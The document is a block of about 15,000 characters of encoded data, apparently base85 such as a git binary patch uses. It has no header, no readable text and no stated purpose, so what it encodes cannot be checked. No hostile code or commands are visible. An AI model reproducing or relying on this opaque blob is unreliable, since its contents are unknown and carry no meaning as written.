z0YI+|xZCFov_mVHVcDPy?*{ti1e2+=@=MhPd=)f1PO(`U=FYKQkIu8voscHC|R6r5$t``9TUwPy!L!vih0O^F}CXb(vg> z=vF@5zz3`n&nQ#yy9Wh8{^OmrQb602d6LDv()UIB4>n29pX^y_810>mMo?*R8*uxE zVe4D}7PDHy7fe-N7hfNl8m^%0SSL0uT4PmaV3QpRq0cSKzEY6^bvJ^}Y((XM#X<&< z(Z4UFy7JPb>!lwdMKNjmw)TF4PpuxPGqIaV+c0#+m0K9@1YrMk1%`d6>f17i8{Bps zP`5do9p5|P%BC8pF3{trjJv}?v88pwEpXG4afZ?4g(2R5+fp~3U(b#^`rdgFW^&-R zJPI`7s*IB+e6w1=sXJHk{myOyE6vLu1qNPThB@v5`35^S8TOlvdkfjVLa2x25@)M= zF-2+g86f+(f4|=29#d~LqU&<~H901y_X`^KyAKjG)|`7Z#`htGIO}fugnPeR4a{3o z#HPfQH{g2w-Nb1Hid!wY=Tmy*ItGye4V>tm@|%29VI4Exws5uBYy^WHTaLw zB{1IlEoh|9$lp*KBz;-zxkO`C=wIXf=npZwf1?&BzNo?#f54JkXcpXZm~jaAGVNq6isVz{p%GbqqJ$GEmLsu7$c@4SLGy{qT>xE8IDl6!7t(YmepaMUU9$2jJU1a7q&Enilz zXMcjKp(I}Ahm}a9JV;k42LCKF*1h*JdT0ObVBukF(^D2kSJixfMAxI?Z{_MpXFnJV z|J1%>40FzAG>u5#j_NDR9v2{?QTDMDQmdv+PmEYSk>cFOvv~^S zhA%~#K6TT`k7OmO88vjLk$$EJiRxkI?_SCOP}iflrq&wC~YHMF`vcs)c$J8}|mtXUoq* z=bM_r6z4?U13_Ke5VDI)(rRQk>%VOBmeN+`;&x^?A}Egp>RWmiRSM&6WzD*q9yOhje;eDYLEbI+K-_rFHYA&QzGdl*CHndV;xCvLTH ztcX8o>wnoEoYr%)E}3ejO!90;Bi+T(>3=WN;T!$Sr=8Q#zK5%OnKzfQeWu?ObccQ1 zb3zQs?yp-bKD}@zxSTY0o+v*Hjq2aoD!YFzuD-(BxWp1#_6S1qvVtm}krm+EWhmMA ziQZ$CBtuv+;?&2AaK*2?qT43@jL^pQp0xJ;BtEciZn$sb#29~3_HGKK^e+L6<1k;0uK?q!BO0={DaBX?3Vn{9yF^sukdF+IHH%5?4n}xo-M#w(q|7n zG3@lb4z<>c7?PgX{@+=rhp=``5ZW#{UmqhTzd!3OO#S#KND@By-_F?UM$?;SoST0` zp4XlaZeI{nD(klAP*Fi4y5)RbJac~{ z`C-h9=Q7|tAT?)f7&Ojk-&Nm=# zymp_RWfmM5_M&^TJ{P;kd`$QDf#-t6nLlw|nw3EzA+MhBA_35QrJGi32gLf4ab%o1 zl*Ap)S!p)_9`fxhXr)TTWlLXctRNOWag5kJ%FV#C_eKeYP|1zqhUlJ z8K$Ft0(*6QHFK;R1$VEyXZ_5No<{WpdADm**(-QEaq%1t4z{8&CW&m}hnXKV1AYP?B-XEFZ3zo#5@`3Rjsf?mdU9 z(k}RbNckFTBZ}In6IjG!A-dRsI7<56?aJ(1anGwq0eSRzMSxJXls4lVi&IX8bt;j& z4pccxdCp;PaFZgwbTZB{=+qDu&VF}|&}}QV*k?X;ilf4$*dX#cYlpgLc5rGOpwuP0 z-GpI9csjc7kc<5>@AubBA7oiagmLEvKn9-GZakz?{c$F#4}-_7V+qpv+XE4+yR!C= zb(;KB*tVgYUP8@wzW!C?LHpBpkU~<vFwFYzJ`qtha(=}c}=dC%9 zj72>0m8UZQXc0&H4DTbA>4E|DaZejeWLsYcW(kQH;%yA9WqO^*tg7VwGE!;{tgQ0O z%_YyhBA+tD%9yVf6tW@eiUdYQWsTDqw9fV`I%n=Y9PH9Tk4l5LW4g7` z!^Yb>RY>W8;|S4?Pz3u8O6i&|z=*gLo|1?9Mkpwf;+{2M4pq9dzy0%?J2>!qiA|vn zL8YLe=Q8X;zC`WiuYe)0PXcO$DkW3(o#0e5py@buv5!AF4KkmST<<*4E9{VPbzkTF zPQr<)Ym!WeGFj%-Vfee^0|A~)7hc|rJD;ZwIsZ_;v7G&ql{PVu@YE(#hIFDL@9Op?$y1#a*SHN*&6EBBz5yLFU_Y((W zr{9}YLc9Yu!f*NKNyh-wRbH$ZG_hP`RW|5c7Pg1?w@sv|Jy#;w?q|=4rU!06MueJ* z$jXE(i10S%g+%b@yQBa1>d~?)V+)k5_CA?yX%%M;a3dY}|EXdo^|u>c!x0FivlSYO zU`a-rxZYa)t}-e7#^+h}kM%mGWEt|jWNV!@*XN(ka)Ctwmu3*OYgw8s5-;mMn2dh* z@R*ngwTVAVg+eyh9h_ay=iyOH7K`=9H}MUWyI3c8$ypEQrRx3`d5YJ1M(yx9aOkvS zU&}#K5^Jz=4CN{BTbF_EhNWwc{sEyv{MF;CJ7(|AD<7gys?MZJ=-i^=l_eP0l+(z? z%F0*mKX;vnmXh|E z!J!t*X9E`@Sk5Jb6ScQbL*z^mEGUFxTYFr}a^Zf=)xhD4cvH%?C#QR_^PS_c1Z*og z-KQrw&au00N@ja~iFGb$Fn|(dMp>C`#yy=Up}nq0XJQG?+M&}XX;TQ&(OpuAQSMx%-njKc#C_l!0b$-xrCM8T@IAN>+9t zzrFphxQ(pNwp(qrp!vEEM0xKq7f>Jf7Txv{VVU;&(+)#@xp4~3isw#tJj=eL^gNyG z)wqQsWn$^tW?0J-sEA=@Llb!pfRH+m#*JZ6S5WPMJDVSe+5P z#ycEJ>F?l(TQp<(@ynFVA`HdCfRa`6`(OuM>9~HQS+nJnJ`vo&lE=3%TXG;DM^5xe z{897s0Nwd>5fdThq^+#HagW-Kf_5GFmFb%r%#${N14`F_SU^G}v-c}OL3~8h1F0#p zABErt-PQRx6qg6P`>|+6QiB2TCFWKh9bh$~wKdi?s|5J+%ND}~PseMw5t`hh3Jrw+ ztX#qXSKFxi=;06!c8^-NcPLl}Ab2IP<7%ZNKw6C+$p~yolykh6LYqkNmiR%{8~tMI z+GQ}PwS8ezwZ3OKm;beq-zqHhzgL(+4`{2tsvA(Z0}262ZuwVSb7PN>Q#u)_U1&#S z1i#FRp;*2xa^LUxOl>|R<;r;c6zF@$>JOb*WoVwJ{Ch`Z!6$g`d;X4VRCSL8H11D( z2i$_bGT|3w0MK6AM{MS|8Sm0+P`$K`cuaIIP!-cD$=!Iv{vs)`;W`8E;y-Ik0*#fT zHrEn({~Q)F5>+0i2+#|Y;bZN7wA1%?H&HC~p2pV~E+U&(IJX&Pum1NKuIRTaCTGJC zLe{);i#a;*DN!5cn1zUdtaSHgyEQzsJBg-u5!_*&-$o;)J2gSG( zhr2-+i}7Q-BtFV6g%mGIE&)=)cQi{Fs4Ug49bK}MzLT`8qaW^jqbq`8Rxdc!eaD_i zmzCP^vm%QSeOp6zMd6fIq|?E(duG{0wB5tl+H_BM!t)ViG-GNx_u z;ob*Smx*ov@A;-*r&nV6E46dKvt1zXSx<&^wDk5F`PypDo8*D4U*1!RivdM6?2M~o z=oSQyOoCrO!rzwVbx-6V&D}%WPNzwEBc;BcalEW-?mj@i!y5cji5oA`apYRRHM{RQ z1n;o-H3teB({>do3v+!!wT{B2B@bmQ?-&K#gj8R%mH>Sx&g+np;w{4*V{fb4Thut% z^nxA7Al@mvy*w)Pwx)vS$EnV_C2_8&4y8xf4c2x|FPqynh0w02n02{^q-i+D9siw4 z6_!d>BtK$0ERwAB0@_i%b5q^(i$9=(4O*bHDt_7t2Qvlh^SAlA>?;!zvqSjk-hL54 ztmVa%i4mu;Sca`4xcuf-Ru3zfHNj6H(#4y8kKRA%M#AFJWBH~eH3(3?U$}OIV;{!c zXOJ^OCvbnJqT!ipp<1TWpz!J|3vU;#9D?-Dgk%=bE;aZhup4aR4AR-)8dcH% zu|P_q7jatqb9srP1YB-2v<@m>x?2Gt@QXjj%l)b9?XQsfLw_8f%&NKVg^COG>ZFDK z6yBdLk&hyt+z!Qf3_vo*qK7-MF1E(3r_&K-ML*pc0imfNTJLiBW9PmzEf>r?0biNo zb_+G)INViNR;DNplo}(z?*V(aGm0Iwl%c}F?&%buI37g zWkD91;~0%-KJS|}gj&n6!o(u_7rY_L%Y{IIaL`u;EBoGTFQmhix6yNP$?@XWu?T(t zB;h;L>O^sLm9ZVi_=z;XsP70wCE`2%s&8&L($-kYJ~K^u3E!I`jY%Q5fA46w^}9tm z*;sW*3kjJGa=Fn4;R;N6rT+jKU_B?6qokiRPVXAJ)!KF(`uvN%_pi`bzjhVcUj!ip zNAZ80QWHm7KZ49-5S=O~+i$G=zj3A4E^UlgNR6Xj$;sI;gbmbN%C`KaLD0&5Gi1K!5q5zFt`Iq+6wFp<-hVE1cjy%T=_^*zLZJ5B%~ zyDZ982s&?;e4g!vRSYsQR2ty`+42Qc8z7FfF6~JYMKTl(CKLuzwo5<*&Mm22|4y*+ zA0gmIts5Jyr@Zv1>Y!a6oD+=E9i6ZZ68XC4YCxyv`dIVWs4 zd7y`;OA)Il>HW_9Ze=3}8U4;*tqSmS8~6E*CR-QA4&=TnfR|pZZSqXG{b+mpf7 z^o!zkl@_g!wDxmY&vtoZ-6UoPD}vgp$Iag+>>qoy7^RuFFP@(vD4F|s9T2%7`Y@E( zR$<&sj;gnhm4U}OPB>SZR_-}pN-4J1`==Kf&|{waYucQvW{4$6SJ0acLG`5KOo05i0 zNm&O(oZB*#Cx?L|eKPZ}m*+Z!810BKbQm@$!OfC^MD6Hia{Am$UAPi_y8CJ$UoE*ipV(I1 zW{2)8EWxDJOuYTHT}42DCf?8jzTZ1Z`+8Ys_NHoN{YH%f}uqBd8-Yn!3Vo7Go$)CeU|y_ysEZd1yLYm4_5Uzsb*;X?w? z$69?JUIX)3-MYO%C~p0`uS)lFui+}%5Qn|RI8Mg3GU~SPyI;yPB8i?Y8=?7V!o->4F6ni1ZE z9i<3QFfPf)!CGP}jcvO9a}oHb-1AC+tga`}jDhBXZ=}F z9@Z~zAT=Cp3as5_cmKnkd-&(~gt9*TQrFFN#O!$UhcA*6bJmo8>wzmE&qm;f@quHj z@kE=+Wv5|EdZUn+k7(hp^HV zV-MAQpvpQxL-LArwY*A4TpMGcP4p4q`*Mq9($Fo<_kg#6*P~*tJt{V8p3@HB1ZX6_ zL3-D9*@N$ePHuOC>{77;leg=OoU*>C1B>|_`|xyiuPGM%kCkGSj-w*pD^Pb!7L@9) zfq7NlC5`(RU*kCjSdnkB%pzHu3O2DTwbpJVWw(`oxKPZlI z4rnlnv6%n%ZYF>}_d~eWkQeTeF4*Jep-y$Uyvamp;S+HKxdO$g@)H_Z*F&R<5S&wh zivbrFWFB3_KfY7&Z>t~Vw5!WB=onXI`NJoxA4FX60P^5{(VMv4G^4+oISn)wnk{kB zN8WB(?f&V?O zKHo_6KP0c;39Xg1HXP!vJsske+<#Bm{2Q!vhdD=`BW+YHc*8&U>%p5B5hI?mkf(Z+$kIdO|aTzmGUzivbc z1#e~!<)NbL0{KliX1VNbOhiR(OzIKlf$yLg(I#gGGS4@sdR^HjNuO?1=SxLNN<{m~ zclGs6V_$BbhlggD(IO1Ri*a0aeJm?canACiW-rz%`OZ|PvWD*zsNbOfGjq4$>+shd z^rvvCAX&*fsGOiKCE)w;VxL&dj3UeZhGU70n2lpSXv?ED9r)&Q>*;{|=qunZzfw3b z=9v*_+gzQ-4Oyy;t!(5N*$}Ee)}Z}7s=D-#`Us}Vr(bfZl5yr? z2xhB|KtmdRpv{iW1D4KAEX4^OBNy>Gk}`JE8c}_sJFR{1j9AO_VoC)K+LeW7o5<>j zRBqPfrQMv&dF-rzXc0`Pg>&92TM?zAr|j@cV4{!kleI*t5+s;Yw{B`vT%a-W;_KZd z%i8;AK94Oo#ujQb!R3Lar9+s7^P!~i2kHvV|6I=0n4T^*UJmDhknT;KS@^W1U+Fy9 zeari&zrGa5g8tFBIjItieYAqE{x!Fs%Jl)6$>QFX7Qy%5H=ex-3W}Dhgc@e0Pop+6 zJ9jtGoQ?2(a${q2JLiL$pgkbP1NLW`-}*szD}%7X^0M2*vJ(Tb@;?)V3Xt|!HDojS zYM4sfnKW)~Dk8zysYK{aW*xHS&zh*$HG>|5pdMmS8AzGE=G%uu?TqhXGS1CS6d8!UjW9%; zjrn5K#A@2i6;bo!?aIP_|a&oz>+TFOJtR#ii3Y)gLYuNamg|zzIY?f>k>+!Y-;UR!wrk7k_d##3J-kzK z;-^&mcK!C39>Ck}2k{lNhHE*JdcnTWDCv~qOf5r16GhV4zT)W zIZT+=*Z_W=Tqcbrleb@!KbfKDDUi*9nzlY@4_GB$EU@{!z^ny#QU={`6))+Lop9@3 zW<)2u>N87jLyr))U0}fr^b)Zx8bmpVb1h&Om+>b{E96Tu^z4iOBlfF(=q4xfe;RBG z)nQih36DoWxQ7$3ezdrbNr$Of)4h{;PXFKWBWkYik3O~ZxqWE49S71#D-cXw=#>J9 zOkZ+4l4Y4hgBsqwQk9+BP8$M~m$m9XjDKN5;R8*Y2`nX%u8li)Hbl`nMFr()s2L+c;< zdP5h6EownX54b0}7jT4m7s}a8qw34|z{2-t%zcv17mDhsO&Wu3d~BL)m|U+Tj5F(o`WE|dHl_E6y&l|MQ-ztzFg|6q&WEJgDO7pw z)sa_^ZeS+cdOIm}NxN)Ii`(qWSuIhtPhSbX^#|#t_xhhCo!#-PIHx~~1NJ^QuokR4 zhokDqN1a58kU1(>YL3}9EIGT2I#W(N9~@i~2NL(U>NOI4w)OlM&EL!}l#Xw$^R)z} z{?Nk$1};h;E9G@yJ3QPnl;TcVjP60@J9s1D9W^S8Z7DQtQI$c7SeAg;<`mHHH28Ja z+#Pg0NOzFdyKe8vhz&*ZFlp z`=3;VoUs%Xo$PYQc3GC#N;zga$Wqyh{nxolz!!7^CUc04w2 zmqEt#rJ)`RYy8^$R8{7h9}dzGlQ|$B$wDr2q=85L7qWPvWK84|{hI=&yXyC7BN=k} zv(MaWwr7>Q!tA*HeUpY1qXbSYW7)U{I94CDxH+SI{qyqT-EWU(8qCm-uwCJP8u#Z= z7yuCL`;-?Ptj0GPlMN z{Z}8iNXgaaTtaVuWj16c8RZ$Nc|MJhUWj0vM-;mNe)Spb5gvtRSY3=bwHAi>d@V=E zw`z(G{X$Ilq{F+Imr$LJKr=M)mCYZM3WV2v=vQYAE${VdZgZDrSWR>ZYiaB#V@kVr zZKULf``yQq>4&%2_(fX<^|~1Hq`jsG4m!XOti79)gAdV?U0A~q5;u1HNBlVxiCtJS zN83&1&;gCgmylHq~pmcBau zmRtpOhh7==`q*gjb9YEYTbD4r_5->t23=ir8MWS*!DiU0&!V>;4yJ&Zp-pVI0W$e+G+Z43K5Gk=d>G} zO7pXye(x()^+qY6KodKuyNeuQ2C5YHr#&>bExQjKk}C@aQMMG~|1;)C(DuLw$-r(Fg$+4EuBQ{u498 z8xyBNS$t$~$KdW9t;YjgAC74J<(qsZ6Axd5Gb`Iye;{yz@D07>0Lr`dfQ;$$RqE>} zBY`PImsXdT^(LwMA`XQiHi<+0IbdOy9Rw0Q6?hKel{R`b&iQn~BihWaIIFE6cP_2zVd5;pX38g%yN1iyRu-DR|k!f>2!?~?9@g(qFDd9n( z@E6(gu4yq`1WYK>9;q3e=MIst+(JY`folHjpux)Y1P>c+$=J4=(Kfl#Y|n!if+sE9 z+kzBYHbG8h{S3!8`45|sAV9F zp0vQZ9i5g**>a3z_mHY^8qT0I4}mY4{Ev;NB$P3JZN5>Xjj&&4fO z`r*)kf}R6m=LU zGb_rORHS%#+{sU|IB)GqXN*5)9m-l$2o|cO_Q~;FLJ7s4!KE1rr286JnI`@3SN475 zXgt4ki{eor9y>XsHK)IOk%<4F)^ceqvGZXM142n0R?t0;ZYyZh*}lUAuL*Uv%#(=o zacO6k-4=EnR>BT@ZoFGgkx)*TYm9ttw~B#B5R-*SbHJ;@mWP3QkMPba;J?$#qwn>` zKf9QfIR0>aD=&71Qn#(V-A{0kdumv&JB{63-WiFJL~3z%)LKn7$oD;q8=GuG|17<( zS^j3Rik5{r)p&iGP|~aRZ%)$g_sG`Z^2sKM0Qc=FZ|7M9HZ5>Xo)#`2Nwrl_B2JNc zZ!3;O&6J0wW4)S~6re9`I(dnReJDTWW(B#EmQoHS&0XZ)c(;96^NpwA4K&mbIF7FJ ztB6AU1HF%-^u<5tc>XzPs^X_dD#esir?!nC#6D?RuQ<8W(=}Ql)yDx%J1<=(`}I?% zccDk%VjE({i7ca;H0E+cDmea9#Q}y=q$oe!UDiYu{z>~L^Zf2~`wmm`_1|N@n4k%! zvIr<(exT9r&~(G09)WpSwDvZB1jGytvU~Hh}=*#8k zUYV8Bg%#G^N7awQd>_zKc>oOVa;ziUL+SDg$ANuJQ07;(MI}l%BLG*F|_doMp-_(6SGDRIx z2Q&YWvleC$ER=yoQ&j<0i|*iSooTWr+`i*K825?F zx9xDK`-{(9{EYW>vkMx~X#o2fcpIMi`qi0F#1rU_x7f>v4#5`J-x6xV!}Yqv1S9=v zzxV>euV05Tj7$mHYTAW8#s6;ZMp2=*SaC%|&~tb4aJM_j43=`ZjfYdnlpqX(2&Yte zoF#y3?*Ov6B7i*RiJvX;XH?6PtZUNp9GZJi8VUE&Hmwj5*V*zl;kvyKW&p6GlGKPO zdF%_QOXf(#YL&VzF5Dz9q_fr)($e1{<>A(L3pmg9OD%;((EU7euh;gR$oVpPXeZaZz@>QXTsq+`qE%QkV?@zD(jy# zxzrOkDcC~_~d{koFYaOK+t|p#cCv$+|4&nB@eqEuONXj->zR5_KSQ8R%Ds-66;_z5Qf=JF?L~io;o<uE^V;B zN;|#FLnFqWsV9SU|DEjuLq%^Z1Qf1-8zw|6Ww)Gh?3#pM&ROe$fc!#-L)9^z_A=Ky zh|zjK4h{p29P^ylm1S&93spTK=r1FG5FVWEL6QxIPJX`e{IIE+zZJFXE_*dPakCy1 zTr5eKc*Of=FCSa(5j)%q?m#xtQ8k}ElkC?zp^p}x{MwyKT*~?g$F@X4Ss`&b{?1${ zX5dWQ7cW$W8;fG`o4T-NF4)H?2ty!YuG$Ey!cH^IA}Ad!ZgRXe_w3ev=Je=2Nz0&F zu$#w{($6)?$?C*_8O7H19`Z)*v2*|Fp8YwBb=t}&^3hNq@3u)6<4R+PD_ITj@q-i_x`wJkF z;d_b~|CXYC?55Aulc92@L#}6I$h7NS@b7nb@$Sb#1FHsJ_$_s3S+5v8z)`MYh_|B* zcOB$1r^=n4vp&GcN*%nZ;2HyI?z3D!ut*Q}Pj2#}S$%~I^`vb|9YwY3#0{5brDJz; z8pw*J7`QKPDHH;AwtLLm$g-xd?uL40pIy-DK;!^_a`&?Ox@~Xu4(j}(>1ld+mQBFa zaZ@qt`CpyjWS@3hIce&cL9V%h^!%2(za?1v9l%m-@n|C6a|}P(RK0)C@^Pr=-3;C? zs{qe^L)i>z`WJi(5k_A6qB|8xkdYK z>W~9^&i#ZBH;+^O?{4yCuif++s}Y^PoJlTtm7bFiBPR9})GKuFiYn(PYmysJWu;7Y zhDJ+szKr24ja?Dz|D|{93e~=zMr8W_2qkQzBtwt-SZ`1`7Nz~uasEmYN9y;j2N!Yv z@L>0%kW3BnXA5(b`hM@(?Y;Vp#^!}FJ#>gqti?2YTi=H>gc(+Eqb>0ymIDv|pCGxn z&%lW0qE6no*wA$!M(`nlIls{tJ_Q~_>;7`L``~PMWxDz>oXR}Zr#U^_U8!9;+dQ%r z`|ExxfA}n>2XvY2b7?bq=og$G_8T6RNe+txzu3ItPkC^}d&Oe5afRD*n*gR`?Mtso&afrY>(Nt>a>XdRDPds0K z(Iq+)^uBoeeY^MFS5G&c@MrILrfweiQ{0CJuMT)dkmB(wNO+mYI$Vg7Ba#9kD{U@= zXHOzF{^;#i)~}kCMywA?{+r@cE=rpQtDj}mzso%R2}fibxgFiE)mI52H{i{oJPGP> z?D-L5b=5kdjw=qF(^28=kn8$&R~gNKFDlPDrO{2vP2~mEdPAM+vNF?f*XUz zVe5@zx8+5>7>6gD)W=8te!ccRTHYiX?Lp5fNd$MYBMsMH!#3X)7nr(-ZU;@rP1qHs zeP)~}mE>;_>w}j7myD)r$!9)-MF`8M-S6DHBJ9I%Qi%hSni7{IuRMY=uCR0nfPT7k z)WQ~V55#8f;ev$nWv*SnbrcpeN995FUlhL}^<{4kpkbz^PaYt|n(#D?9~aZ=pUl6~ zY4Dgq-O!YAPSE@^lGW+9WvDe1d5hI?6i&;Em`hlyjzVrVxbEy(F>_sf@a-V7=pDcFc=B^AK6Jl%Na z8ERX5L+P_O5?_o%u5(k`mPzDp#0e?{WOshWD+u|S_#IMTgmMEFCvO{jkP!99Z&RVEU4a2MOh(7`g!KT98akKZ+ZH# zc}qWqfte(=i?o_L2@*kOqXit6*Ayxc#G4Gu4OVG+`IQ3WVgnPRGOzPwq`J6UT45krcpKe9XfC)ZT3bT2^S-katAWUq5aq8L3)r0=G=^ow1o z`=1Q81=hGiLy`tz&s=Qxw-l`=*IkJ@=O~4jJn7V&`~Y@qf#%UAF;v7 zP)Hm8ZWEJ~FB9wj)Az)x&)-3@MH73~pAEds=L-5l1AUGAzg7Ef{)kDW($9>rPs7j2 zD@Ri17|M_4z%!0}-Nv-(9@%?0GWb~ovYUck$_MdpD#N9tMCM&BC$ZUl5(4XfzOkue zzJLfqzse?U@aT=0O%Sn_vO(m%m(HA@ zcFY50p>)|z%j$*d8w}0bL8#>5uMxK%SUCt#;|Ax#^-fTut#9BwDib^ps{L0$7>L_| z(^?^+%YktwA&b7ey1Y%dax){{e3R>17ZsbV-`1FOEpN^n?&V$cmwEq>th0=YI_%p0 zzzC=`NVgy$H6Wb>qJW~HA|Mh&N$1cxAR^KrO2ZJ+-3_C3cgN5}cMLGh9G>T_cfD(! z^X32H|NXxAb??2e-_=ZUwU2#+yOxOT^k@@{I}a5R^H%`=oSpSuy5f*=H5?bA*v!oK zo90@vY+2u8>~q_DcJbrI$`?Cwt0g(PlSn^Kn5X{mkKYF>EHZ#8cV>_B5RlN(`I(4n z#Nv!b^SO-gZc%jt=T$cy<+{~z#s_&$uWh0W>7*|$0!AUg3^9XtuLq~07#FMLDPh!XkgX}rP`={NMOogLs8gPHR zy_JQ$V8@{Cy2FL?F|*ciw6ACzzR3Q~hOEdxRcoH8o=xH>K7RH>dHuQ3giYmeaK;yt zm6m|kKiS#YYYo?bxM&7z0_vcVY&QpI**DF3! zbWd}a#iqO&e^xC#@re{g`6aOHZ`IzOI;g=JYOU7&eRTpPzV(<)MyOriAx~?XWt7Qz z{|eUS5?m}ty?mCeV0HBvDQYI>vQIQBqE}(I-5qd8MNqoB-5b}`daV;OeUzz*gC@Cz zB&45vPv&~Hoe!#+NWImX?)rSH%=mJNRq*6jx7fkeUtBrvUeEs>AVn{r_tzn7qtBpS{#SR=>31liT@z`RF zc)LKE^@78VpUJDuP+y}te%%K2nI%jHvHa^U%ozOMi#ddVjJP?HAfhCN)lvD7>9XNf zq9Hbtfg~^{PWPQ3UAJDNpF8n}e&JB10n!S((l9wK-;{2Xzwjxro%FZlBc#B%AWP}T zG|-Txq*hDoroB&cnuD}MNplV|K_~d==Fcr7Zm@6S=A68xZSVNJpf#K|;IHfTaWrmg z)rSpM#$`D$aNTandhXN#*WHC16nFMb?KERw{oc@6I=y4O>CLXo7);$DUA#i$d3Jnm z*IZ(-V_NqG4+^@hjrv>?dAA|)O6?#!i`(B&zt?AcIM+`b``_%yTx&gAqOg+3Y+gF{ z$?)^GYV5x@C>sWJgDY=4qWUJQ0QLS)-zf@X#=b6fawvjhJ}s+hufQ4yG8?K6_Fr9} zpX-`#y5c(LoJ;yIuBoZ=)3ho!k)@RLl_kzQ71Q}u+;10m@)l%9bCtv94*ISg!;{?; zf3JMT(S&~U?W2*_chz@)imP)>yxCQXIhw`ftrbErH_~4YV*Qs@%;-r-TS9Owml$t@ z)wUNYn&K!1&P$Ht85pMuL67wr_Jwx^14fUcOwOpm*6nH4f#A-#<+g63`r>$J8hiF?d`p( z#x257lK#7@q$8fho`^^%$-yhjg`Z4E4NuAP5x3E-elsZ({x)-w(2&L5O$#NVu~7$8 zhhM-5HD3b#b#M3Pw3OSzhaa7l!OMg})zbiS&#R~Cks8A~rUL>+fbJhZ$E`!aYyCWj zT)Jgi7rbCbF-6^<z6oN@as@QoQ|$-ZA*&afs(<51nF2+ZOmHVCUhZh#~Wn0)lrr3Iy+~ zLA=&)7i&3|77t%U8m|n0g`Lc?aEwd6-9ZZ5b{~|}%>hk$&)EH0M(!Ie_6nVQ;*0-y zQ)@{iw%5}y1bsY`F5&J&@VcQGEDI<-GW*-UM{zwzy2TYxv8C(B$H=Z7z#p2qIlr|W z9mn(DrlVzLe4XjDBJ=Dv`h7tEi?`z|lt$TF0h+Nj5)sio-7sG~`mvb@v#=f6OAz)H zc3YOd!Gn>N3;2jl!R;R!VD@?ef`{GRic;ieZ6Trj%j(kv#Np9s78%tsTC$cL#W9#mKp8y63R}m2^dzL>-XncDMaNM; z}pvEQ4?Ic*Q=WoulI zj=HlQ{Yv$+LRe8F&y~y{2Yq@vlgf6Q2SG)02~A_R+`8E2Ndk0ap|cg$(*A}XsV`{7 z&>#KxFq93Fo>dQ3)s890_Cd7t9r#sEWK~abC+d4oyy2?xLzm?@O z%m%EwU0h-y`7zNujFGZ%1UfILLL8D#8FW$;vJm4bZ2p|MCA7o!RoiCxIz@oiDg5*D z(7_IK171W8M}qGVt*<&(S6b4DDJAJJ()sk4v)1BxR9m`&KgsmW@vzWf=Tl4K>K;|y zR#T!~QfCYoyB;z?Tqv?)ESecJfS3VryQtyDx)W&j4p^WCnq&`JwC7VljJWLW>vA0( z-fgvuJ+G|f&2wo(|C)hXfiqSuMHL>m1I+I@7DMfrY+Qfw;(8=&KdbDp1oF?f-G(lGRJp^*eD~K{pb)7@uzCx(H#g zwC_c(3bLGl8)_5=$4@O+-l9gn(24xuVOXar6fcdi)HsKvaR%2HkWq(N&(SB!?Gp2d z9v)oM^o_<)4{Enk{Kc9kvJ}}44eELP8*UsNh1@GhqhhlQ+OA~#xiY&TuV9 z#x%3EWTB2TeQl%LZ?L7-F4vpfCsak4|0S%bMjalo7?OwwYh3suuRJzPF)8WoZ7zd+ zF}NmtE?q1L1v7NVN}h+Cy%l0B4Ve&*xydU@cI{I~{rG5Wf*tK*w95~M-A~Pn9*-EK zO@YaN!CvY8R~@;NXzXkHUypMHP996yIdveW!vjfD9C7u7uMR&YcNXrBroxSolqn^> zvs-l(3X-ikv3#URxgPA>DE%hnCoknr(oV^K5A_h+qTHjo!jvR~La&r`-JAM3(TUKb zN$$K=N7qW0n;~mX^iZh(OKqGf8oPOEIUWzjuHDgA&}+y6&tad#AC<__gL7SE)931r ziz;ldrH#FneWiY#nW^yVqauY}B#Ge|jFQr_mFh18va16EeRn3`nT2i7jghDpAnr`i|8FcsvCp5u(RLN;H){Ah2} z1sLm2qo2%5*}J3&opqNs4L9dy;0g+#y$SuNj$w$$&C7h49J%qHi}D@+cRSw@D}{0K zIU~K5#8u%!hTJf8^T!~SU3!NGskAqpPBboBod*f~u%B&M%@mQhOl+9puEpc&pP=xz z$-(~rN)4POE{Tnlp1U+GXwj(*C)&rD=S48LMV1^Y_l3Y>qpL1u=Jp623;+a1S~vlU zUaT)jJFOwbjiVAN>Ky`r=^5iA#D0=(KI8I-$)opVoa5k%TaL?t@O8p~8DqK^01VYyVN&ID-!h@~?mF(A9@}n+qFEEL z=n-cCh&-TeoECHyKtiwvoEDQqn_xa>d@v`N5+g)2vOwvh&&@pJT)S3(m?WHhZAmD7 zElUO^eW&eZD#_Io21-5?&ZKeDpU)H6=z9KF&7Sj3ynNy5NJd-5c6qx)V0QljIZ*5+ zTm2hMMT)nXTXfTjCi38d!HKEifJY@5*6qNp?!qu?vUaw>ch$eXRQi)yC zOu0ED2-1_g-@Mx7#~aUQ=F%77@53o=UyBvHr?aXKrU73OxamZujnhgJc%0+}_6pji zHB(EEJWc$V!u-)|vf?#a`Wubc1~Uy~#*dWU?MN$9qYaJZHD5CJt+~5SsLBCDhcF@t zKB~;8dDb05X+@9KZ^s*x*bJ&7vC!&;-%&5@(h*E-A(+T0Z^50S_^T7OfHG-#a#|Y^ zvjvumJmrj-uI8hsg%Lo(2Q4g}N`fbq`|8x*tyC^FVS?r!)AhMN>91zGS#(tWV2yNU zQ4q^Mg75oPgY@h_LAUE|W!AfZW}dw6CD(st0f=hxi!I0WIY2XA|B_XKnJkgtuSE4r zhYh>km^zUsZO-pxa}9)Os}NC(qY4%0CVL#%lqz-E(L^i@EE6m=0p5RXWI+0G8eo(&zc8(TG6gkUYl?I?}b_B z4cUigcWIHBoBycVXYwK)yastQ_+XZN<6JIG@(xy+^<&noH%%dmRCGqelNw=b%xDp+V{DIgfUE{d|KjK zJALLan%aXUBsT4he(R9-Ht%o`u_6C=GWbf6&Gt8sHL(g?jX!NtltpRCp7N=bO-YGr z<;K?1mRbQ39q{*OhR%w%>xRyuk_^=0XOq#)dwi|TcKwbIM~j*>1%)j9q|Evlp_e91 z&u9@W`yJQCv7a2*IYO8}Kw{;GW^AP(`R&8?oT3UM-C+q4OfF{T^=+Hb23(RP>spols?)mgxKN~)b_?3bPGgbt_$V@iAA>J*!B79e^nw?dw+#QyiCnb80SZn z52#!i_2HRq`&Px1Z2hfvE+JTJQU4S#{hJ%~sH}IEWn^I9d72k|s7I{!=!dXX+?vc{oEuL!YUQfY~ZJ!IM78ezhqgE>V zNT<@L8aFxjK`gtCej}reU(!wcDel6GtbW4L?9O)co-?Q<%n3DXfw|>nrfPnfM%eTlKn_WDN9uYmRm%2boK!d>4%zYmrZG z&bhS=Hg0HjNvG)G#D!7_OrbOY@WV+A2&+0Vk_~vtv(PGaUqrc5;2P zkl8gbT}rz80C#H^xigfwrAJ+%5@C0rq5-gii>P_=P2&dxvmPq3{=Z9cyL07{AL60? 